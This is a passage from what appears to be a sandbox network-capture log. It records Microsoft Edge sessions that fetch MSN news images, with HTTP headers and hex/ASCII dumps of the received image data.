29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49867	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:53 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIAw Last-Modified: Sun, 27 Oct 2024 17:22:07 GMT X-Source-Length: 100376 X-Datacenter: westus X-ActivityId: a2e2b678-0b26-49fd-aab6-e6a856f6e3a4 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 100376 Cache-Control: public, max-age=299214 Expires: Fri, 15 Nov 2024 05:24:47 GMT Date: Mon, 11 Nov 2024 18:17:53 GMT Connection: close
2024-11-11 18:17:53 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 18:17:53 UTC	16384	IN	Data Raw: 65 ae df 75 24 3b 65 96 c7 0b dd 49 0e 8e a8 74 75 a6 4f 9b 2b 95 1a 53 35 28 0a 3a 55 20 95 d2 98 ca 2a 39 4e 94 a2 a4 0b 20 bf a2 cf 78 c6 e0 db e3 92 d5 74 91 d1 43 78 17 3c ba 2a 4c e0 9a d4 c4 70 0b 39 ed be 5d 47 2d c2 dd 75 39 c4 c5 a6 08 c7 90 50 1e c1 8d ff 00 04 78 b3 81 a6 b9 6d f5 c8 c8 70 10 66 e6 2d 39 73 eb 16 85 10 01 3e 69 02 f8 09 be 43 11 9a d4 2d b7 6e 4a 39 69 3b ed cb b3 aa 3a 61 22 cc 80 d1 79 db 39 bd f2 85 5a 6e b5 61 ce 1a 74 e0 09 ca 63 33 27 a5 94 3d 2e b9 1e 31 cf 24 6b 3a a3 bb db 64 68 da 07 55 41 30 89 c2 d7 ec 54 31 45 4c ec 8c 8b b4 7e e9 db 28 84 a8 47 7f 7a e7 73 81 03 2f 89 e6 aa ce 84 f9 0a 6b 75 10 00 24 9c 00 19 a3 68 25 c0 5e e7 2b f6 73 54 d7 39 8e 05 a4 b4 83 63 84 74 57 df 99 fc d2 29 7b e0 33 55 a0 5c 02 48 b5 Data Ascii: eu$;eItuO+S5(:U 9N xtCx<Lp9]G-u9Pxmpf-9s>iC-nJ9i;:a"y9Znatc3'=.1$k:dhUA0T1EL~(Gzs/ku$h%^+sT9ctW){3U\H
2024-11-11 18:17:53 UTC	2977	IN	Data Raw: f8 fc 11 44 2b 4a cc 26 13 8f b4 09 0d 38 58 0b 61 84 08 f1 85 71 61 1f 68 45 61 88 4c c2 44 09 b4 ae b4 44 5e 71 f7 42 6e 9c d1 69 f1 4a c4 24 01 07 c2 2d 3d f3 65 50 a4 45 95 c2 76 32 3c 2e 8c 53 c8 54 2c 70 07 b5 3b 28 44 5b bd 11 16 8b 62 7a fd e1 36 11 b7 31 02 f9 9c ba 27 66 b2 32 e8 52 34 ab 10 2f 13 b0 cb c6 e0 ad 66 23 42 3d 30 01 b5 e4 44 df b3 2e 48 e1 54 24 31 71 8a a8 4d 84 71 3f 58 ad 63 11 08 a1 48 d2 8a 14 b6 43 62 21 2c 85 2a 15 69 4a c8 21 69 5e 1f e6 b5 8d 5a a3 87 c1 b4 e0 bb 1f 33 88 c3 a3 47 7a f4 fc 77 cc 19 c2 79 19 0f ab b7 ed 67 37 73 d8 76 af 01 ad d5 5e e7 1f 33 9c 49 71 cc 92 81 39 da a4 71 f7 66 bf 4a 7d 47 09 63 60 36 52 c9 7f ee 70 03 af d9 3f cf 87 bd 41 73 75 3b cc 40 e9 75 ca b9 b5 b1 59 c4 49 f2 0e bb fd a5 26 a5 58 b3 Data Ascii: D+J&8XaqahEaLDD^qBniJ$-=ePEv2<.ST,p;(D[bz61'f2R4/f#B=0D.HT$1qMq?XcHCb!,*iJ!i^Z3Gzwyg7sv^3Iq9qfJ}Gc`6Rp?Asu;@uYI&X
2024-11-11 18:17:53 UTC	16384	IN	Data Raw: 66 b3 5c a4 ea 59 21 c1 3c 54 6e eb 91 83 a2 54 a0 48 35 00 55 ea 35 5d 8c 93 0a 2b 9a a5 35 ed 2a 9c 5a 8b 19 ae 23 4c c7 7b 52 08 53 5e e6 ee a2 97 37 75 d8 a4 74 a6 22 51 07 21 24 6e a8 10 a6 4d 09 a2 54 94 2e 94 40 a2 24 2e 5d e0 68 82 5a 50 68 52 65 10 21 36 c5 44 22 c4 b3 4e 72 5a 32 81 0e c9 a3 3f 42 63 69 9d 94 f0 a4 84 29 48 54 67 b6 91 52 45 27 29 c1 3c 15 c5 29 0a 8c e1 44 a6 7a 05 69 82 99 28 0d b3 51 9a 28 94 5e 99 0b 45 72 15 8c cd f4 c9 42 69 2d 34 97 15 69 8d 23 3f d3 41 e9 85 28 94 3a a4 00 70 0b a1 3e 65 91 7d 30 90 5a 14 c2 6c a3 23 26 58 82 d0 ac 35 a9 da 51 86 aa 72 cb 51 14 00 5c 48 4e 80 10 92 dd 90 31 67 c4 46 5b de 02 c8 7d 45 be fd 27 25 8d 52 36 5d 9d b6 b8 0c c7 75 45 18 d4 2a 79 85 1c b6 57 a2 98 88 be a1 5d ab aa 7e 94 5a 15 Data Ascii: f\Y!<TnTH5U5]+5Z#L{RS^7ut"Q!$nMT.@$.]hZPhRe!6D"NrZ2?Bci)HTgRE')<)Dzi(Q(^ErBi-4i#?A(:p>e}0Zl#&X5QrQ\HN1gF[}E'%R6]uEyW]~Z
2024-11-11 18:17:53 UTC	16384	IN	Data Raw: ba ac de aa ff 00 fa 25 e7 fd 1e fd df f9 05 1c a8 d5 3d 60 7d d4 9a 7f 3c e0 9e d9 7e ba 6e fd 25 a4 f8 c8 b2 f9 a7 ab 4b 67 76 7e 68 bd 4a 5f d5 d8 b5 7f c7 c5 10 e2 8f a6 1f 9d 7c bc 7e f7 7f fc b7 2a fe f1 f2 ff 00 fd d2 3f d0 ff 00 b2 f9 9e ba 5b 9e c2 87 55 2d ff 00 f4 95 b0 ff 00 c6 5e a8 8c 28 fa 68 f9 bf 02 7f ef 47 56 bf ec 99 fd d3 80 ff 00 df 6f fb 5f ff 00 c2 be 5f 14 9d 9f fe 93 f6 40 45 2d ff 00 f4 bb ec 96 0b dc fc 0d 81 1f 5a 1c 77 06 6e 38 8a 5f ee fb a3 3c 5f 0b 13 eb d2 23 fe 43 f1 5f 1f d3 44 fe ee e7 7d 90 fa 74 7f 59 ff 00 d5 f6 5b cb eb e8 2c 28 fb 0d 2e 2b 86 ad 3a 2a 30 c6 39 1e f8 54 78 ae 15 b8 d5 67 6f d9 7c 77 4d 3c aa f7 3b ec af d3 19 71 14 fc 75 0f fe 95 4b b5 cf e6 6a 8f 33 eb e3 89 e1 9d 85 46 76 a6 1a 9c 38 c6 a3 3f dc Data Ascii: %=`}<~n%Kgv~hJ_\|~?[U-^(hGVo__@E-Zwn8_<_#C_D}tY[,(.+:09Txgo\|wM<;quKj3Fv8?
2024-11-11 18:17:53 UTC	7952	IN	Data Raw: 3e 49 c0 86 8c f2 54 28 b8 c4 b8 5b 0b e0 9a da 4d 81 7f 37 72 0b 71 26 83 a5 c4 16 1d 3e d4 1e d5 b1 ea 6a 20 dc 78 c4 78 c2 c5 6d 13 91 08 34 54 6c c3 a6 6d 8a e7 94 23 27 93 49 84 4e 8f 45 57 d2 70 01 c6 fc af de 97 a2 30 2d 2d e6 60 ac 2a 1e a3 5d 72 34 e7 9a d3 d6 c0 75 5e 3f 48 3e f5 ce fb 6e 39 26 d8 4c 49 ee 29 e1 d9 10 0e fb a5 16 bd e2 60 d8 5d 4d 6d 4a 04 c6 13 97 d5 97 55 a8 1a 20 b8 c1 04 2c 9b b4 ab d5 12 26 9b aa d2 7b 0b 09 24 49 8f bf 25 ea 1f c6 1a ba 7d 4e 1d da 80 89 1e 66 91 bc 8e f9 50 78 6a dc 2e 83 4f cd 48 c0 25 ce cc ef 2d db 6c 96 9d 2a 25 ae 69 d5 e4 75 8b c7 98 72 98 ef 51 3a d5 a5 6a eb 2c de d4 74 f6 f1 2c af e1 6f af 81 90 fa 94 88 98 8e 59 f6 ac ff 00 6f d9 2e e8 5a b6 78 9a 34 69 bd da 0e 1d 2f 9d a5 2a 99 d5 6d 50 3b 17 Data Ascii: >IT([M7rq&>j xxm4Tlm#'INEWp0--`]r4u^?H>n9&LI)`]MmJU ,&{$I%}NfPxj.OH%-l%iurQ:j,t,oYo.Zx4i/*mP;
2024-11-11 18:17:53 UTC	16384	IN	Data Raw: ae e5 7c 83 4f 36 34 30 69 99 ba d9 34 e1 a0 61 0d 1d 0c 5c 95 98 e7 b7 d3 0d 02 4c df f2 53 c5 49 0e ce 6d 3f a4 1f ba e5 9e 27 9f 30 b1 a5 91 3f 87 04 32 ee f6 8c f8 2a 73 88 a7 a8 e2 f7 24 53 71 f4 80 1b 1c 79 95 4f 71 24 36 d6 16 5c f8 6e 4f 4d 7c 11 d5 74 b6 1a dc 29 bf 45 ee ff 00 ed 05 e0 78 6b 15 ee bf ed 05 c7 dd d4 e9 ed bf 84 86 4d d6 45 73 65 3d c5 67 56 c1 4a 42 9e 86 0d 42 b4 f8 47 41 0b 1e a1 bd 94 ca 0e f3 2e c9 46 e2 73 41 d4 8f ae 70 4f 5e b4 dd ab e7 7c 0d 4c 17 bf 61 96 af 12 aa 4c f6 5e 69 33 ce f1 2d c5 78 3e 21 b0 57 d0 f8 a0 bc 37 12 2e ba 3b 60 fb 9a 1e 7e 74 a9 ec 70 31 0b 31 ca 4b 0c 05 d7 2d 0e 14 f3 36 03 93 a6 c5 67 35 f7 52 9a f9 b2 1d 64 17 15 99 15 9b 24 af 2f 55 97 9d 51 7e dd d7 b7 7e 33 cd 79 ee 3e a8 30 d0 c6 b5 a3 00 Data Ascii: \|O640i4a\LSIm?'0?2*s$SqyOq$6\nOM\|t)ExkMEse=gVJBBGA.FsApO^\|LaL^i3-x>!W7.;`~tp11K-6g5Rd$/UQ~~3y>0
2024-11-11 18:17:53 UTC	8048	IN	Data Raw: 96 07 b1 09 7d 5c 09 31 b2 e8 4a 57 93 40 ed 11 b5 37 eb 04 c6 d6 d3 92 8c 5b 89 46 ca 65 c8 f4 b7 8a c9 27 8a 71 10 a0 ea c7 9a d5 6f 0a 51 ff 00 18 24 b0 ad 08 7d c4 62 26 06 92 b7 7f 8c 39 a9 8c a2 d6 e4 16 c4 81 be e7 03 21 9c 39 d9 6b 33 86 27 30 de df b8 53 24 37 10 7c 02 92 1a 5d 12 01 07 af c5 4e 67 3b 93 64 aa 5c 3b 00 c2 fc ee a4 8e 1b 70 23 94 fd d4 56 b0 53 3e 57 78 6a f7 15 38 39 ff 00 d5 dc 50 c9 a2 75 3a 2c 61 fc 53 6a 54 00 40 06 16 77 a8 70 3d e3 f3 51 9f 51 f9 69 77 20 52 c3 9e f3 25 ed 13 fd 49 c3 4b b9 14 6d 2c 9b b0 82 b1 f5 82 7c ec 2c 3b ad 2a 63 9c a4 67 9f bf 6c da 63 69 9f 64 90 7a d9 4b 92 30 2b 24 3e 02 66 af 04 3a 11 ad eb 98 b9 ed 50 cf 9b de a2 92 14 52 f1 bd d3 a2 ba 93 0c 8c 14 77 1a 87 00 0f 22 96 1c 7f a8 f2 4c 68 d5 99 Data Ascii: }\1JW@7[Fe'qoQ$}b&9!9k3'0S$7\|]Ng;d\;p#VS>Wxj89Pu:,aSjT@wp=QQiw R%IKm,\|,;*cglcidzK0+$>f:PRw"Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49866	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:53 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP Last-Modified: Wed, 06 Nov 2024 01:23:56 GMT X-Source-Length: 59155 X-Datacenter: westus X-ActivityId: 38853c09-8220-447d-a26e-545ae4989789 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 59155 Cache-Control: public, max-age=328022 Expires: Fri, 15 Nov 2024 13:24:55 GMT Date: Mon, 11 Nov 2024 18:17:53 GMT Connection: close
2024-11-11 18:17:53 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 18:17:53 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 